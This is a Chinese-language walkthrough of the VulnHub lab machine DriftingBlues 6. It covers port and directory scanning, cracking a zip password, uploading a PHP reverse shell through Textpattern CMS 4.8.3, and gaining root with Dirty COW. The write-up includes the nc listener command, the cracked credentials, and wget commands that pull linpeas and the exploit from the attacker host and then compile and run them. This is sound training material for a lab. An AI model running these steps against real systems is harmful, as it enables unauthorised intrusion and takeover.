• vulnhub DriftingBlues: 6


    渗透思路:

    nmap扫描端口 ---- gobuster扫描网站目录 ---- fcrackzip爆破压缩包密码 ---- 利用TextPattern CMS 4.8.3的RCE(/任意文件上传)漏洞getshell ---- 脏牛提权

    环境信息:

    靶机:192.168.101.100

    攻击机:192.168.101.34

    具体步骤:

    1、nmap扫描端口

    sudo nmap -sV -sC -p- 192.168.101.100

    扫描到80端口,并且发现了robots.txt文件

    2、gobuster扫描网站目录

    浏览器访问http://192.168.101.100/robots.txt

    除了发现http://192.168.101.100/textpattern/textpattern/这个登录页面

    还发现一句提示

    dont forget to add .zip extension to your dir-brute

    因此接下来用gobuster扫描网站目录,并加上-x .zip,来扫描.zip后缀的网站文件

    gobuster dir -u http://192.168.101.100 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x .zip

    扫描到spammer.zip

    3、fcrackzip爆破压缩包密码

    下载http://192.168.101.100/spammer.zip,解压的时候发现需要密码

    用fcrackzip爆破密码

    fcrackzip -D -p rockyou.txt spammer.zip -u

    得到密码myspace4

    解压spammer.zip,密码输入myspace4,得到creds.txt

    unzip spammer.zip

    查看creds.txt,里面有http://192.168.101.100/textpattern/textpattern/的用户名和密码mayer:lionheart

    4、利用TextPattern CMS 4.8.3的RCE(/任意文件上传)漏洞getshell

    以用户名mayer,密码lionheart登录http://192.168.101.100/textpattern/textpattern/

    登录成功后在左下角发现站点是基于Textpattern CMS v4.8.3搭建的

    Exploit Database - Exploits for Penetration Testers, Researchers, and Ethical Hackers中搜索Textpattern CMS,发现一个4.8.3版本的RCE:

    TextPattern CMS 4.8.3 - Remote Code Execution (Authenticated) - PHP webapps Exploit

    把这个exp下载下来之后执行,发现无法执行成功,报错

    后来又试了几个exp,都执行失败,寻思可能和这个站点总是出现告警提示有关

    最后,根据exploit-db上的exp看出这是个任意文件上传造成的rce,并且文件上传的页面地址是http://192.168.101.100/textpattern/textpattern/index.php?event=file

    在该处上传kali上的/usr/share/webshells/php/php-reverse-shell.php,上传前需要修改$ip和$port分别为攻击机ip和攻击机监听的tcp端口。

    上传完成后,访问该文件的url为http://192.168.101.100/textpattern/files/上传的文件名

    (这边看exp原本我以为url是http://192.168.101.100/textpattern/textpattern/files/上传的文件名,但这个不行,后来试出来是http://192.168.101.100/textpattern/files/上传的文件名)

    在攻击机上nc监听8888端口,浏览器访问上传的文件后即可获得靶机www-data用户的反弹shell。

    nc -nlvp 8888

    再输入如下命令即可得到交互式shell

    python -c 'import pty; pty.spawn("/bin/bash")'

    5、脏牛提权

    从攻击机上获取linpeas.sh并执行(攻击机上先执行python2 -m SimpleHTTPServer 80以开启http服务)

    wget http://192.168.101.34/linpeas.sh && chmod +x linpeas.sh && ./linpeas.sh

    找到内核提权的方法dirty cow,exp下载路径为https://www.exploit-db.com/download/40847

    靶机/tmp目录下执行

    wget http://192.168.101.34/40847.cpp && g++ -Wall -pedantic -O2 -std=c++11 -pthread -o dcow 40847.cpp -lutil && chmod +x dcow && ./dcow

    执行成功,获得root用户密码dirtyCowFun

    执行su -密码为dirtyCowFun,提权到root,并在/root下找到flag.txt

  • 相关阅读:
    华为手机USB调试调过登录
    艾美捷ProSci丨ProSci 凋亡抑制蛋白检测套装解决方案
    Mybatis-plus的通用Service
    MySQL八股文背诵版(续)
    内蒙古科技大学计算机考研资料汇总
    Gmail发送邮件的配置方法
    RabiitMQ消息队列系统
    这个字段我明明传了呀,为什么收不到 - Spring 中首字母小写,第二个字母大写造成的参数问题
    【300+精选大厂面试题持续分享】大数据运维尖刀面试题专栏(十六)
    RPA的命令库与子程序是什么?
  • 原文地址:https://blog.csdn.net/elephantxiang/article/details/126682918